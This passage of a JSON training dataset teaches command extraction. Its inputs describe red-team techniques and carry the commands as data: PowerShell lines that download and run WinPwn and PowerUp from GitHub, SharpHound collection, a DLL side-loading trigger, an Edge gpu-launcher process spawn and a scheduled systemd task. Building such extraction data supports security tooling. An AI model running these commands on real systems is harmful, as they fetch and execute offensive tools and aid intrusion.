lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To view detailed information about installed device drivers, including both verbose and signed driver details, use the following commands: driverquery /v /fo list\ndriverquery /si /fo list",
    "output": "{\"command_list\": [\"driverquery /v /fo list\\ndriverquery /si /fo list\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    GUP, an open source signed binary utilized by Notepad++ for updates, is susceptible to DLL Side-Loading, allowing the libcurl dll to be loaded. To trigger this vulnerability and open calc.exe, run the following command: \"#{gup_executable}\"",
    "output": "{\"command_list\": [\"\\\"#{gup_executable}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For scanning MS-RPRN RPC services, run the spoolvulnscan function via this WinPwn command:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nspoolvulnscan -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nspoolvulnscan -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To add a network share, use the following command sequence: net use c: #{share_name}\nnet share test=#{share_name} /REMARK:\"test share\" /CACHE:No",
    "output": "{\"command_list\": [\"net use c: #{share_name}\\nnet share test=#{share_name} /REMARK:\\\"test share\\\" /CACHE:No\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To download a remote file using a local VisualBasic script, run the following command: wscript.exe \"#{vbscript_file}\"\n",
    "output": "{\"command_list\": [\"wscript.exe \\\"#{vbscript_file}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following command spawns 'calc.exe' under msedge.exe by first checking the Edge installation path and then executing with specific parameters, followed by cleanup:\n$edgePath64 = \"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe\"\nif (Test-Path $edgePath64) {\n    $edgePath = $edgePath64\n} else {\n    # Check 32-bit Edge installation path\n    $edgePath32 = \"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\"\n    if (Test-Path $edgePath32) {\n        $edgePath = $edgePath32\n    } else {\n        exit 1\n    }\n}\n& $edgePath --disable-gpu-sandbox --gpu-launcher=\"C:\\\\Windows\\\\System32\\\\calc.exe &&\"\nsleep 5\ntaskkill -f -im msedge.exe\ntaskkill -f -im calc.exe\ntaskkill -f -im win32calc.exe",
    "output": "{\"command_list\": [\"$edgePath64 = \\\"C:\\\\Program Files\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe\\\"\\nif (Test-Path $edgePath64) {\\n    $edgePath = $edgePath64\\n} else {\\n    # Check 32-bit Edge installation path\\n    $edgePath32 = \\\"C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe\\\"\\n    if (Test-Path $edgePath32) {\\n        $edgePath = $edgePath32\\n    } else {\\n        exit 1\\n    }\\n}\\n& $edgePath --disable-gpu-sandbox --gpu-launcher=\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\calc.exe &&\\\"\\nsleep 5\\ntaskkill -f -im msedge.exe\\ntaskkill -f -im calc.exe\\ntaskkill -f -im win32calc.exe\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For capturing UDP packets with AF_INET domain and SOCK_PACKET type, execute this command: sudo #{program_path} -4 -P -p 17 -t 3. Although SOCK_PACKET is marked as obsolete, it remains operational on Ubuntu 20.04.",
    "output": "{\"command_list\": [\"sudo #{program_path} -4 -P -p 17 -t 3\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To schedule a transient user-level task that won't persist after reboot, use the following command: systemd-run --user --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo \"$(date) $(whoami)\" >>/tmp/log'",
    "output": "{\"command_list\": [\"systemd-run --user --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo \\\"$(date) $(whoami)\\\" >>/tmp/log'\\n\"]}"
  },
  {
